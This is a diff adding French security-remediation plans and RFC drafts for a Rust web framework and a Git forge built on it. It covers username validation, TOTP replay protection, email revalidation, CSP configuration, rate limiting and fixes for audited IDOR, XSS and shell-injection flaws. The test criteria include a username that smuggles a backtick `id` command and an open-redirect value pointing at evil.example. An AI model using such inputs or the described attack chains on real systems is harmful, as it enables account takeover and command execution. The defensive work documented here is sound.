858 +```
859 +
860 +`UserService::create_user` appelle `Username::parse` **avant** insert. `RegisterRequest` garde `validator` length **et** parse.
861 +
862 +**Alternatives :** (A) newtype + parse aux frontières — retenue. (B) regex uniquement sur `RegisterRequest` — contourné par `create_user`. (C) ne rien faire — Gitrust newtype forever.
863 +
864 +**Score estimé :** Généralité 5, Stabilité 4 (rejet de payloads autrefois 200), Perf 5, Sécu 5, Complexité 4, Maintenance 5, Doc 4 → **32/35**.
865 +
866 +**Tests (après Accept) :** copier la batterie `team_slug.rs:76+` ; plus un test `create_user` DB qui refuse `` x`id`y ``.
867 +
868 +---
869 +
870 +### Task 14 : RFC 0037 — Anti-rejeu TOTP `last_used_step`
871 +
872 +**Create:** `docs/rfcs/0037-totp-last-used-step.md`
873 +
874 +**Motivation :** persister en multi-instance le garde in-process livré en 1.0.1. `totp.check_current` accepte le même code ~90 s (step 30 s, skew 1).
875 +
876 +**Non-goals :** MITM interactif (Evilginx live : le code n’est présenté qu’une fois). Changer l’algorithme / skew. Backup codes (déjà one-shot).
877 +
878 +**Quel step stocker :** ne pas stocker « now/30 ». Appeler `matching_totp_step` (Task 2) : tester step `t`, `t-1`, `t+1` (skew=1), retenir **le step qui a matché**. Sans ça, un code de la fenêtre précédente est accepté puis un second code du step courant peut passer, ou l’inverse.
879 +
880 +**Verdict concurrence :**
881 +
882 +```sql
883 +UPDATE user_totp
884 +SET last_used_step = $step
885 +WHERE user_id = $id
886 + AND (last_used_step IS NULL OR last_used_step < $step)
887 +```
888 +
889 +Succès **ssi** `rows_affected == 1`. Sinon traiter comme code invalide (pas d’oracle).
890 +
891 +**Schéma :** colonne `last_used_step BIGINT NULL` (migration SeaORM, pas de SQL applicatif).
892 +
893 +**Alternatives :** (A) colonne — retenue pour multi-instance. (B) garde in-process seul (déjà 1.0.1) — insuffisant dès 2 réplicas. (C) ne rien persister.
894 +
895 +**RFC obligatoire** : migration DB (§2). Score grille amélioré parce que le comportement est déjà garanti en simple instance.
896 +
897 +---
898 +
899 +### Task 15 : RFC 0038 — Changement d’email + revalidation
900 +
901 +**Create:** `docs/rfcs/0038-email-change-revalidation.md`
902 +
903 +**Bug actuel :** `UserService::update_profile` (`user_service.rs:190-205`) écrit `email` et conserve `email_verified`.
904 +
905 +**Proposition v1 (YAGNI, pas de table pending) :**
906 +
907 +1. Si `new_email != old` : `email_verified = false`, `email_verified_at = NULL`.
908 +2. Enqueue validation vers **la nouvelle** adresse (`EmailValidationService::send_validation_email`).
909 +3. Enqueue alerte vers **l’ancienne** (« votre email a été changé »).
910 +4. Hook existant `on_email_verified` inchangé ; nouveau warn dans `on_audit_event` si câblé.
911 +
912 +**v2 (hors RFC si score) :** table `pending_email_changes` + confirmation lien — plus sûr contre prise de contrôle, plus de schéma. La RFC doit **évaluer** v2 et peut la marquer follow-up si v1 ≥ 25/35.
913 +
914 +**Breaking :** un user « vérifié » qui change d’email perd l’accès si `validation_email_required` (voulu).
915 +
916 +---
917 +
918 +### Task 16 : RFC 0039 — `SecurityHeadersConfig` (CSP / COOP)
919 +
920 +**Create:** `docs/rfcs/0039-security-headers-config.md`
921 +
922 +**Ne pas** changer le défaut CSP dans le même train que le patch `1.0.1`.
923 +
924 +**API additive :**
925 +
926 +```rust
927 +#[derive(Clone, Debug)]
928 +pub struct SecurityHeadersConfig {
929 + pub content_security_policy: Cow<'static, str>,
930 + pub cross_origin_opener_policy: Option<Cow<'static, str>>,
931 + pub cross_origin_resource_policy: Option<Cow<'static, str>>,
932 +}
933 +
934 +impl Default for SecurityHeadersConfig {
935 + fn default() -> Self {
936 + Self {
937 + content_security_policy: Cow::Borrowed(
938 + "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; ...",
939 + ),
940 + cross_origin_opener_policy: None, // v1 : opt-in same-origin
941 + cross_origin_resource_policy: None,
942 + }
943 + }
944 +}
945 +```
946 +
947 +Builder : `RustwardenApp::builder().security_headers(cfg)`.
948 +
949 +**Câblage (Architect) : PAS `Extension`.** Dans `app.rs:689-705`, `security_headers_middleware` est **plus externe** que les `Extension(...)`. Un `request.extensions().get::<Arc<SecurityHeadersConfig>>()` y est toujours `None` sur le chemin aller. Capturer `Arc<SecurityHeadersConfig>` à la construction :
950 +
951 +```rust
952 +.layer(axum::middleware::from_fn({
953 + let cfg = headers_cfg.clone();
954 + move |req, next| {
955 + let cfg = cfg.clone();
956 + async move { security_headers_middleware(cfg, req, next).await }
957 + }
958 +}))
959 +```
960 +
961 +Même patron que le layer custom `app.rs:698`.
962 +
963 +**Phase 2 de la RFC (après Accept + Alpine CSP) :** défaut sans `'unsafe-eval'`. Référencer [PLAN_CSP_HTMX.md](PLAN_CSP_HTMX.md).
964 +
965 +**Gitrust** pourra alors retirer `SetResponseHeaderLayer::overriding`.
966 +
967 +---
968 +
969 +### Task 17 : RFC 0040 — `AuthService` honore `validation_email_required`
970 +
971 +**Create:** `docs/rfcs/0040-authenticate-user-email-verified.md`
972 +
973 +**Bug :** le check vit dans `auth/handlers.rs:318-345`, pas dans `AuthService::authenticate_user` (`services/auth_service.rs:109-121`). Gitrust (et tout SSR) qui appelle le service **contourne**.
974 +
975 +**Proposition :** déplacer le check dans `authenticate_user` (même `get_bool_with_fallback(..., ["validation_email_required", "validation_email_requise"], true)`).
976 +
977 +**Exception bootstrap :** déjà `email_verified=true` dans `default_admin_service.rs:84`. **Ne pas** re-travailler ce seed. La RFC ne fait que déplacer le check login dans `AuthService`.
978 +
979 +**E-2 :** préciser dans Non-goals / contrat : limiteur login = `check_auth_rate_limit` sur `/api/v1/auth/*`. Les apps SSR POST `/login` doivent soit appeler ce helper, soit passer par l’API. Pas de nouveau middleware browser obligatoire.
980 +
981 +---
982 +
983 +## Phase 2 — Implémenter les RFCs acceptées
984 +
985 +Une tâche par RFC, TDD, migration SeaORM uniquement (pas de SQL brut applicatif).
986 +
987 +Ordre : **0036 → 0037 → 0038 → 0040 → 0039**.
988 +
989 +Justification : 0036 ferme la cause racine username pour tous les consommateurs (Scénario A côté framework). 0037/0038/0040 ferment l’authn. 0039 est défense en profondeur UI, dépend d’Alpine.
990 +
991 +### Task 18 : Implémenter RFC 0036
992 +
993 +- [ ] Create `crates/rustwarden-core/src/types/username.rs` (copie structurelle de `team_slug.rs`)
994 +- [ ] Exporter via `types/mod.rs` + prelude
995 +- [ ] `UserService::create_user` + `update_profile` (branche username)
996 +- [ ] `RegisterRequest` : after-validate parse
997 +- [ ] Admin `CreateUserRequest` (les deux handlers)
998 +- [ ] Tests charset + reserved + grandfather (update email sans toucher username OK)
999 +- [ ] rustdoc anglais
1000 +
1001 +### Task 19 : Implémenter RFC 0037
1002 +
1003 +- [ ] Migration `m20260917_000010_totp_last_used_step.rs` + enregistrer dans le migrator
1004 +- [ ] Colonne `last_used_step: Option<i64>` sur `user_totp::Model`
1005 +- [ ] `verify` : calculer step, comparer, update conditionnel
1006 +- [ ] Test : deux `verify` du même code dans la fenêtre → second `Ok(false)` / `TotpInvalid`
1007 +
1008 +### Task 20 : Implémenter RFC 0038
1009 +
1010 +- [ ] `update_profile` : si email change, reset flags + send mail + alerte ancienne
1011 +- [ ] Si SMTP absent : quand même reset `email_verified` (fail-closed accès, pas fail-open mail)
1012 +- [ ] Tests DB
1013 +
1014 +### Task 21 : Implémenter RFC 0040
1015 +
1016 +- [ ] Move check into `AuthService::authenticate_user`
1017 +- [ ] Handler login : ne plus dupliquer (appel service suffit)
1018 +- [ ] Test : user non vérifié + setting true → err ; setting false → ok
1019 + (seed admin déjà `email_verified=true`, ne pas y toucher)
1020 +
1021 +### Task 22 : Implémenter RFC 0039
1022 +
1023 +- [ ] `SecurityHeadersConfig` + builder
1024 +- [ ] Middleware lit la config **capturée à la construction** (pas Extension — voir RFC 0039)
1025 +- [ ] Tests : défaut inchangé ; override CSP ; COOP opt-in
1026 +- [ ] **Ne pas** retirer `unsafe-inline` tant que Phase 1 Alpine CSP n’est pas faite (tâche séparée, plan existant)
1027 +
1028 +---
1029 +
1030 +## Phase 3 — Doc consommateur et CLI
1031 +
1032 +### Task 23
1033 +
1034 +- [ ] `docs/developer-guide/07-security-model.md` : username, TOTP caps, headers config
1035 +- [ ] Mention `update-project` + fenêtre 14 jours
1036 +- [ ] Wizard : `.env.example` sans placeholder JWT **ni** `ADMIN_PASSWORD=REMPLACER_…` (Task 1) ; premier `cargo run` d’un projet scaffoldé boot ou échoue avec message actionnable
1037 +- [ ] rustdoc `///` anglais sur toute API nouvelle (`missing_docs = warn`)
1038 +
1039 +---
1040 +
1041 +## Risques et mitigations
1042 +
1043 +| Risque | Mitigation |
1044 +|--------|------------|
1045 +| `OnceLock` pollue les tests / DoS sliding | éviction LRU au cap (Task 6) ; `new_with_limiter` ; `Handle::try_current` |
1046 +| `auth:{ip}` saturera `check_window` au cap | follow-up : réutiliser `evict_if_full` ; atténué par `retain` 60 s — hors 1.0.1 |
1047 +| Double rate-limit 2FA | **IP seule** en 1.0.1 + plafond `create_challenge` ; pas de clé `totp:{user_id}` |
1048 +| `delete_user` ne blacklist pas les JWT d’accès | Hors 1.0.1 (TTL 15 min) ; follow-up F-AUTH |
1049 +| Reset MDP ne révoque pas PAT | Hors 1.0.1 ; F-AUTH Lot 7 Gitrust / RFC ultérieure |
1050 +| `to_ascii_uppercase` sur JWT_SECRET non-ASCII | secret JWT est ASCII par convention ; `to_ascii_uppercase` ignore les non-ASCII — OK |
1051 +| `cargo update rustls` casse `native-tls` | update ciblé ; CI test workspace |
1052 +| `POSTGRES_PASSWORD:?` casse onboarding | README + wizard écrivent déjà `database/.env` |
1053 +| RFC 0036 lowercase breaking | rejet explicite + message ; pas de fold |
1054 +
1055 +---
1056 +
1057 +## Critères d’acceptation (testables)
1058 +
1059 +**Patch 1.0.1**
1060 +
1061 +1. `jwt_secret_is_placeholder("REMPLACER_PAR_UNE_CLE_SECRETE_LONGUE")` == true ; secret hex 64 == false.
1062 +2. Somme des `attempts` TOTP ≥ 15 sur 15 min → `TotpMaxAttemptsExceeded` (même si aucun challenge n’a 5 essais).
1063 +3. `totp_replay_guard_accept(uid, 42)` deux fois → second false.
1064 +4. Test **obligatoire** `MockConnectInfo` : deux IPs, 11e POST `/api/v1/auth/login` de la 1re → 429, même batterie sur la 2e → pas 429. Idem `/2fa/verify`.
1065 +5. Après remplissage du sliding map au cap, une clé email neuve est **acceptée** (éviction, pas 429 global). Deux `PasswordResetService::new` partagent le budget 3/h.
1066 +6. `reset_password` avec mot `a` → Validation ; token non consommé.
1067 +7. `verify_backup_code` passe par `spawn_blocking` (court-circuit `break` conservé).
1068 +8. `map_user_lookup(Err)` → Unavailable ; `map_user_lookup(Ok(None))` → Unauth ; `totp_force_gate(Err)` → Unavailable. Grep final sans `is_ok_and` / `if let Ok(Some` sur la branche protégée.
1069 +9. `sanitize_redirect("/\\evil.example", "/login") == "/login"`.
1070 +10. `PasswordRules::default().validate("password")` Err ; bootstrap **création** refuse ce mot **et** `REMPLACER_PAR_UN_MOT_DE_PASSE_FORT` ; boot **no-op** si un admin existe déjà malgré un `.env` faible.
1071 +11. `cargo audit` : plus de RUSTSEC bcrypt 0.19.0 / rustls 0.23.37 / h2 0.4.13 sur le lockfile framework.
1072 +12. `database/docker-compose.yml` bind `127.0.0.1:5432`, plus de `pass3ord` en défaut compose.
1073 +13. `cargo clippy --workspace -- -D warnings` vert.
1074 +14. Aucun item `pub` ajouté/modifié/supprimé. Handlers `login`/`register`/… signatures inchangées. `check_auth_rate_limit(HeaderMap)` inchangée. Passphrase contenant `change-me` **accepte** (pas de `contains`).
1075 +
1076 +**RFCs**
1077 +
1078 +15. Cinq fichiers `docs/rfcs/0036`…`0040` au template, 3 alternatives, score renseigné.
1079 +16. Après Accept+impl 0036 : `Username::parse` refuse un username avec backtick ; `create_user` idem.
1080 +17. Après 0037 : rejeu même step rejeté (`rows_affected == 0`).
1081 +18. Après 0038 : `email_verified` false après changement d’email.
1082 +19. Après 0040 : appel `authenticate_user` sans passer par le handler refuse l’email non vérifié si setting true.
1083 +20. Après 0039 : une app peut setter COOP `same-origin` sans forker `app.rs` ; défaut CSP inchangé.
1084 +
1085 +---
1086 +
1087 +## Vérification finale
1088 +
1089 +```bash
1090 +cargo test --workspace
1091 +cargo clippy --workspace -- -D warnings
1092 +cargo audit
1093 +cargo doc --workspace --no-deps
1094 +```
1095 +
1096 +```bash
1097 +git grep -nE 'unwrap_or\(false\)|is_ok_and|if let Ok\(Some' \
1098 + crates/rustwarden-core/src/middleware/auth_service.rs
1099 +```
1100 +
1101 +Attendu : plus de fail-open TOTP / user lookup / blacklist sur la branche protégée.
1102 +
1103 +```bash
1104 +git grep -n 'RateLimitService::new()' \
1105 + crates/rustwarden-core/src/services/password_reset_service.rs \
1106 + crates/rustwarden-core/src/services/email_validation_service.rs
1107 +```
1108 +
1109 +Uniquement dans `get_or_init` / `new_with_limiter` tests.
1110 +
1111 +---
1112 +
1113 +## Rollback (patch 1.0.1)
1114 +
1115 +| Tâche | Si ça casse en prod | Retour |
1116 +|-------|---------------------|--------|
1117 +| 1 JWT placeholders | instance refuse de boot | retirer le 5e littéral CLI du tableau, garder les 4 historiques ; secret inchangé |
1118 +| 8 Admin complexité | première install refuse de créer l’admin | `CREATE_DEFAULT_ADMIN=false` + créer l’admin à la main, ou mot conforme `PasswordRules` |
1119 +| 0/3 ConnectInfo + layer | 429 inattendus derrière un proxy | 1) `TRUSTED_PROXY_HOPS=1` ; 2) revert `routes.rs` **et** restaurer les `check_auth_rate_limit` handlers (sinon `/login` n’a plus de limiteur du tout) |
1120 +| 6 Limiteur email | reset légitime 429 | revert `OnceLock` (retour à l’état inerte, disponibilité OK, flood SMTP revient) |
1121 +| 11 PG bind | CI distante n’atteint plus 5432 | rétablir le bind dans un overlay compose, **pas** dans le défaut |
1122 +
1123 +Yank + patch `1.0.2` selon [RUSTWARDEN_EVOLUTION_PROCESS.md](../RUSTWARDEN_EVOLUTION_PROCESS.md) § rollback 24h/48h.
1124 +
1125 +---
1126 +
1127 +## Changelog de planification
1128 +
1129 +- 2026-09-17 : plan initial. Écarts vs catalogue Gitrust : logout SSR déjà OK ici ; E-2 déjà OK pour rustwarden-ui ; ajouts fail-open force-2FA, 2FA sans rate-limit IP, bootstrap admin, `sanitize_redirect`, placeholder CLI, PG compose.
1130 +- 2026-09-17 (Architect, APPROVE WITH CHANGES) : Task 0 ConnectInfo ; anti-rejeu TOTP in-process en 1.0.1 ; Task 4 → 503 pas `?` ; Task 8 validation seulement à la création ; RFC 0037 step+`rows_affected` ; RFC 0039 capture Arc pas Extension ; Evilginx live en Non-goal.
1131 +- 2026-09-17 (Critic APPROVE WITH CHANGES) : nits clippy `_headers`, Expanded Test Plan `CHANGE-ME` accepté, helpers Task 4 nommés, rollback restaure les appels handler, `evict_if_full` follow-up possible sur `check_window`.
A docs/remediation_audit_securite_ad2eec33.plan.md
+319 -0
@@ -0,0 +1,319 @@
1 +---
2 +name: Remediation audit securite
3 +overview: Plan de remédiation de tous les constats nommés de l’audit (C/E/M + scénarios A–E, faibles en lots), avec solution concrète, apport sécurité, et cible Gitrust vs Rustwarden selon le processus d’évolution (workaround local → UPSTREAM_RUSTWARDEN.md → RFC ou PR, jamais de patch dans la copie vendored).
4 +todos:
5 + - id: lot0-secrets
6 + content: "Lot 0 : rotation secrets, .env.test.example, gitignore dump SQL, JWT placeholder + garde main.rs / deploy.sh (C-4 à C-8, Scénario E)"
7 + status: completed
8 + - id: lot1-username-rce
9 + content: "Lot 1 : newtype Username Gitrust, argv natif ci_worker, containment on_user_deleted, supprimer create_dir_all brut (M-1, C-1, C-2, E-13)"
10 + status: completed
11 + - id: lot2-authz
12 + content: "Lot 2 : can_manage merge_pull, can_push dans ResolvedRepo/ApiRepoContext, scopes PAT, IDOR labels/CI/teams (C-3, E-7 à E-11, M-12, M-13)"
13 + status: completed
14 + - id: lot3-xss
15 + content: "Lot 3 : data-* à la place des onclick/onsubmit, charset labels, override CSP (E-5, E-6, M-10)"
16 + status: in_progress
17 + - id: lot4-authn
18 + content: "Lot 4 : fail-closed 2FA, rate limit login/2FA, email vérifié, complexité MDP, OnceLock reset, logout blacklist (E-1 à E-4, M-2 à M-11)"
19 + status: pending
20 + - id: lot5-git-ci
21 + content: "Lot 5 : bump russh, timeouts git, isolation CI, 404 uniforme, SSRF, ssh-guard caps (E-12, E-14, E-19, M-14 à M-19, M-24)"
22 + status: pending
23 + - id: lot6-deploy
24 + content: "Lot 6 : chmod 600, APP_DEBUG, nginx LE, PG bind, systemd, Docker, setup-remote-ci (E-15 à E-18, M-20 à M-23, M-25)"
25 + status: pending
26 + - id: upstream-rfcs
27 + content: "Catalogue rustwarden : PRs Security (E-3, C-7, M-3, M-8) + RFCs (M-1, M-5, M-7, M-10, E-4) documentées dans UPSTREAM_RUSTWARDEN.md"
28 + status: pending
29 + - id: lot7-hygiene
30 + content: "Lot 7 : paquets F-AUTH / F-UI / F-OPS (faibles et info regroupés)"
31 + status: pending
32 +isProject: false
33 +---
34 +
35 +# Plan de remédiation — audit sécurité Gitrust
36 +
37 +Document source : [docs/SECURITY_AUDIT.md](docs/SECURITY_AUDIT.md). Livrable d’implémentation (après validation) : [docs/plans/security-audit-remediation.md](docs/plans/security-audit-remediation.md), plus mises à jour de [docs/UPSTREAM_RUSTWARDEN.md](docs/UPSTREAM_RUSTWARDEN.md) pour chaque gap framework.
38 +
39 +**Règle de frontière (non négociable)** : ne jamais modifier `crates/rustwarden-core/`. Un `update-project` écrase tout écart. Les correctifs framework se font dans le dépôt Rustwarden (`~/Documents/devel/Rustwarden`), puis resynchro. En attendant : **workaround Gitrust + entrée datée dans `UPSTREAM_RUSTWARDEN.md`**.
40 +
41 +```mermaid
42 +flowchart TD
43 + finding[Constat audit]
44 + finding --> where{Où vit le code fautif ?}
45 + where -->|gitrust-* / src / deployment| gitrust[Correctif direct Gitrust]
46 + where -->|rustwarden-core| gap{Changement d API publique, defaut, schema ou politique secu ?}
47 + gap -->|Non: bug interne, dep bump, tests| pr[PR directe upstream patch Security]
48 + gap -->|Oui| rfc[RFC docs/rfcs/NNNN-slug.md]
49 + rfc --> score[Grille 7 criteres min 25/35]
50 + score --> impl[PR d implementation dans le depot Rustwarden]
51 + pr --> impl
52 + impl --> sync["update-project + bump .rustwarden-version"]
53 + gitrust --> workaround{Le framework devrait aussi le garantir ?}
54 + workaround -->|Oui| doc[Workaround documente + RFC/PR]
55 + workaround -->|Non logique forge| done[Termine cote Gitrust]
56 +```
57 +
58 +## Règle de classement (rappel processus)
59 +
60 +D’après [docs/RUSTWARDEN_EVOLUTION_PROCESS.md](docs/RUSTWARDEN_EVOLUTION_PROCESS.md) §2 et §11.3 :
61 +
62 +- **Gitrust seul** : bug/logique métier forge, templates, CI, SSH, déploiement.
63 +- **Workaround Gitrust immédiat** : le gap est dans le framework, mais on peut se protéger sans le modifier (valider avant l’appel, `OnceLock`, header CSP override, `register_protected_prefix`).
64 +- **PR rustwarden (pas de RFC)** : bug sans changement d’API, bump de dépendance, refactor interne, tests, doc. Les patches **Security** ont une fenêtre d’adoption de 14 jours.
65 +- **RFC obligatoire** : item `pub`, comportement par défaut, migration DB, format sérialisé, **politique de sécurité**, nouveau service/middleware.
66 +
67 +---
68 +
69 +## Cartographie des scénarios → constats
70 +
71 +Chaque scénario est une **chaîne** : on ferme la chaîne en traitant tous les constats listés, pas seulement le premier.
72 +
73 +- **Scénario A — De l’inscription à la RCE sur l’hôte** : M-1 + E-13 + C-1 (et C-2 en variante destruction). Apport : un compte lambda ne peut plus exécuter de commande sur le processus `gitrust`.
74 +- **Scénario B — Écrire dans le dépôt d’un tiers** : C-3 + E-7 + E-8. Apport : l’intégrité Git n’est plus contournable via l’API ou un PAT « lecture ».
75 +- **Scénario C — XSS stockée chez le mainteneur / l’admin** : E-5 + E-6 + M-1 + M-10. Apport : le contenu utilisateur n’est plus interprété comme du JavaScript inline.
76 +- **Scénario D — Contournement du second facteur** : E-1 + E-2 + E-3 (+ M-7, M-8 en renforcement). Apport : le 2FA redevient une barrière, pas un délai.
77 +- **Scénario E — Compromission admin par mot de passe trivial / secrets livrés** : C-4 + C-5 + C-6 + C-7 + C-8. Apport : plus de prise de contrôle à la première tentative ni de forge de JWT avec un secret public.
78 +
79 +---
80 +
81 +## Lot 0 — Secrets et hygiène Git (Scénario E)
82 +
83 +**Cible : Gitrust + actions opérateur. Aucun code rustwarden.** Ne pas committer de secrets ; rotation hors dépôt.
84 +
85 +- **C-4** — Secrets de prod dans l’historique (`.env.gitrustmule`, commits `91ff499` / `20dbf23`).
86 + - Solution : rotation immédiate de `JWT_SECRET`, mot de passe PG, `ADMIN_PASSWORD`, `SMTP_PASSWORD` sur prod **et** démo ; purge `refresh_tokens` / `sessions` ; puis arbitrage `git filter-repo` (coût : tous les clones à recréer).
87 + - Apport : un clone du dépôt ne permet plus de forger un JWT admin ni d’ouvrir la base.
88 +- **C-5** — `.env.test` versionné avec secrets de prod.
89 + - Solution : `git rm --cached .env.test` ; `.env.test.example` à valeurs ostensiblement factices ; `.gitignore` ; rotation `OAUTH_ENCRYPTION_KEY` et mot de passe PG (identiques à la prod d’après l’audit).
90 + - Apport : plus de mot de passe de production dans le dépôt suivi.
91 +- **C-6** — `ADMIN_PASSWORD=password` dans 4 fichiers locaux.
92 + - Solution : générer un mot de passe fort ; laisser vide pour que le framework génère (déjà prévu si absent) ; ne jamais versionner `.env.production`.
93 + - Apport : ferme le Scénario E (login admin trivial).
94 +- **C-7** — Placeholder `JWT_SECRET=REMPLACER_PAR_UNE_CLE_SECRETE_LONGUE` (36 car.) accepté + `deploy.sh` le promeut.
95 + - **Gitrust** : vider la valeur dans `.env.example` ; `deploy.sh` **échoue** s’il n’y a pas de `.env.production` ; garde dans `src/main.rs` refusant les marqueurs `REMPLACER`/`CHANGE`/`EXAMPLE`/`TODO`.
96 + - **Rustwarden PR (pas de RFC)** : ajouter ce placeholder à `KNOWN_EXAMPLES` dans `config/auth.rs` (hardening de liste, pas de changement d’API). Documenter dans `UPSTREAM_RUSTWARDEN.md` en attendant le bump.
97 + - Apport : une instance déployée « selon le README » ne démarre plus avec un secret public.
98 +- **C-8** — Dump SQL 22 Mo non gitignoré.
99 + - Solution : déplacer hors arborescence, `chmod 600` ; `.gitignore` : `*.sql`, `/Services/` ; éventuellement hook pre-commit taille max.
100 + - Apport : un `git add .` ne publie plus la base utilisateurs.
101 +
102 +---
103 +
104 +## Lot 1 — Username + RCE + FS (Scénario A)
105 +
106 +Cause racine unique : **M-1**. Un newtype Gitrust + argv natif ferment C-1/C-2/E-13/E-6 même avant le fix framework.
107 +
108 +- **M-1** — `username` non validé.
109 + - **Gitrust immédiat** : newtype `Username` calqué sur [crates/gitrust-core/src/types.rs](crates/gitrust-core/src/types.rs) (`RepoSlug`) : `^[a-z0-9-]{3,39}$`, pas de `--`, pas de tiret en tête/queue, noms réservés (`admin`, `api`, `login`, `settings`, `explore`, …). Appliquer dans `register_submit`, `admin_users`, `update_profile` (avant l’appel framework), et durcir `compute_disk_path` (charset owner).
110 + - **Rustwarden RFC** : validation charset dans `UserService::create_user` + `RegisterRequest` (changement de **comportement par défaut** + politique de sécu → RFC obligatoire). Workaround Gitrust documenté jusqu’au merge + `update-project`.
111 + - Apport : plus de métacaractères shell, traversée, homoglyphes, collision de routes, XSS via username.
112 +- **C-1** — `sh -c` dans [ci_worker.rs](crates/gitrust-core/src/services/ci_worker.rs) `prepare_workspace`.
113 + - **Gitrust seul** : recopier le patron [sbom_service.rs](crates/gitrust-core/src/services/sbom_service.rs) (argv natif `git` | `tar`) ; valider `commit_sha` `^[0-9a-f]{40}$`.
114 + - Apport : même username malveillant, plus d’interpolation shell → ferme le Scénario A.
115 +- **C-2** — `on_user_deleted` sans validation ([gitrust-hooks/src/lib.rs](crates/gitrust-hooks/src/lib.rs)).
116 + - **Gitrust seul** : même filtre que `on_user_registered` + canonicalisation + `starts_with(repos_base_path)` avant `remove_dir_all`. Idéal long terme : dériver le chemin de l’`user_id`.
117 + - Apport : un rename de compte ne peut plus effacer un répertoire hors base.
118 +- **E-13** — `create_dir_all(&form.username)` dans `register_submit` / `admin_users`.
119 + - **Gitrust seul** : supprimer le doublon ; s’appuyer sur le hook `on_user_registered` (déjà validé) après validation `Username`.
120 + - Apport : plus de création de répertoire hors arborescence à l’inscription.
121 +
122 +---
123 +
124 +## Lot 2 — Autorisation et IDOR (Scénario B)
125 +
126 +Correctifs **100 % Gitrust**. Motif : le contrôle existe déjà sur l’autre branche (SSR vs API).
127 +
128 +- **C-3** — `merge_pull` API sans `can_manage` ([api/pulls.rs](crates/gitrust-web/src/handlers/api/pulls.rs)).
129 + - Solution : après `resolve_api_repo`, exiger `can_manage` (aligné sur SSR `pull_requests.rs:494`).
130 + - Apport : un Reader / anonyme authentifié ne peut plus écrire dans `main` d’un dépôt public.
131 +- **E-7** — 9 handlers d’écriture gardés par la lecture seule.
132 + - Solution structurante : ajouter `can_push` / `can_manage` à `ResolvedRepo` ([helpers.rs](crates/gitrust-web/src/helpers.rs)) et `ApiRepoContext` ([api/repos.rs](crates/gitrust-web/src/handlers/api/repos.rs)) ; politique forge : close/reopen = auteur **ou** `can_push` ; commenter / créer PR / créer issue = `can_push` (issues publiques : choix produit explicite).
133 + - Apport : plus de vandalisme issues/PR sur les dépôts publics.
134 +- **E-8** — Scopes PAT décoratifs ([api_auth.rs](crates/gitrust-web/src/extractors/api_auth.rs), [git_http.rs](crates/gitrust-web/src/handlers/git_http.rs)).
135 + - Solution : porter `scopes` dans `ApiUser` ; `require_api_write()` sur mutations ; `GitWrite` strict pour `git-receive-pack` ; cases à cocher à la création de PAT (aujourd’hui `DEFAULT_SCOPES` = tout).
136 + - Apport : un jeton « lecture » fuité n’autorise plus le push ni l’API d’écriture.
137 +- **E-9** — IDOR labels (`find_by_id` nu).
138 + - Solution : `LabelService::{update,delete}_for_owner(owner_id, repo_id, label_id)` avec filtre SQL (patron déjà dans `issue_labels.rs`).
139 + - Apport : un Maintainer de son bac à sable ne peut plus détruire les labels d’un tiers.
140 +- **E-10 / E-11** — IDOR pipelines / variables CI SSR (l’API est déjà correcte).
141 + - Solution : comparer `pipeline.repository_id` / scope de variable à `resolved.repo.id` ; idéalement `find_pipeline_in_repo` / `delete_in_scope`.
142 + - Apport : plus de lecture de logs (secrets) ni sabotage CI cross-dépôt.
143 +- **M-12** — Labels arbitraires à la création d’issue.
144 + - Solution : intersecter `form.label_ids` avec `list_all_for_repo` (comme `issue_labels.rs:56`).
145 + - Apport : plus de fuite de libellés privés (clients, embargo).
146 +- **M-13** — `team_id` non borné au propriétaire.
147 + - Solution : vérifier `team.owner_id == repo.owner_id` avant `share_with`.
148 + - Apport : un Maintainer temporaire ne peut plus laisser une backdoor d’équipe.
149 +
150 +---
151 +
152 +## Lot 3 — XSS navigateur (Scénario C)
153 +
154 +**Gitrust** pour les templates ; **Rustwarden RFC** pour la CSP par défaut.
155 +
156 +- **E-5** — `onclick="… '{{ label.name }}'"` ([issue_detail.html](crates/gitrust-web/templates/repository/issue_detail.html), [labels_suggest.html](crates/gitrust-web/templates/fragments/labels_suggest.html)).
157 + - Solution : `data-label-name` + délégation d’événement JS ; `validate_label_name` charset sûr.
158 + - Apport : un auteur d’issue ne peut plus exécuter du JS chez le mainteneur.
159 +- **E-6** — `onsubmit` avec `username` / `owner/slug` ([user_detail.html](crates/gitrust-web/templates/admin/user_detail.html), [settings.html](crates/gitrust-web/templates/repository/settings.html)).
160 + - Solution : même patron `data-expected` ; fermé aussi par M-1.
161 + - Apport : un compte fraîchement inscrit ne pwn plus l’admin à l’ouverture de sa fiche.
162 +- **M-10** — CSP `unsafe-inline` + `unsafe-eval` ([rustwarden-core/src/app.rs](crates/rustwarden-core/src/app.rs)).
163 + - **Gitrust workaround** : `SetResponseHeaderLayer::overriding(CONTENT_SECURITY_POLICY, …)` après le middleware framework ; retirer `'unsafe-eval'` tout de suite ; extraire les 7 `<script>` inline vers `static/js/` puis retirer `'unsafe-inline'`.
164 + - **Rustwarden RFC** : changement de **politique de sécurité par défaut** (CSP). Alternative : API `security_headers_config` additive (non-breaking, score grille plus haut).
165 + - Apport : même XSS future ne s’exécute plus (défense en profondeur du Scénario C).
166 +
167 +---
168 +
169 +## Lot 4 — Authentification et 2FA (Scénario D)
170 +
171 +Mix Gitrust immédiat / PR ou RFC rustwarden.
172 +
173 +- **E-1** — Fail-open TOTP dans [auth.rs](crates/gitrust-web/src/handlers/auth.rs) (et `force_2fa_check` `unwrap_or(false)`).
174 + - **Gitrust seul** : `Err` → page d’erreur, pas de JWT. Même fail-closed dans le middleware.
175 + - Apport : une saturation PG ne désactive plus le second facteur.
176 +- **E-2** — Pas de rate limit sur `POST /login` SSR.
177 + - **Gitrust** : `OnceLock<RateLimitService>` (patron [import.rs](crates/gitrust-web/src/handlers/repository/import.rs)) clés `login_ip:` et `login_user:` ; `limit_req` nginx en défense.
178 + - **Rustwarden RFC (optionnelle, plus tard)** : exposer le limiteur auth aussi sur les routes browser, pas seulement `/api/v1/auth/login`. En attendant le workaround suffit.
179 + - Apport : brute-force et DoS bcrypt bornés ; réduit la capacité à provoquer E-1.
180 +- **E-3** — Anti-brute-force TOTP compte les challenges saturés *(upstream)*.
181 + - **Gitrust palliatif** : rate limit `totp:<user_id>` + IP sur `POST /login/2fa`.
182 + - **Rustwarden PR Security (pas de RFC)** : bug interne, signatures inchangées — sommer `attempts` sur 15 min, plafond global (ex. 15). Si l’on considère que c’est un changement de politique, RFC courte ; recommandation : **PR patch Security** (comportement *voulu* cassé).
183 + - Apport : plus de 4 essais × N challenges illimités (Scénario D).
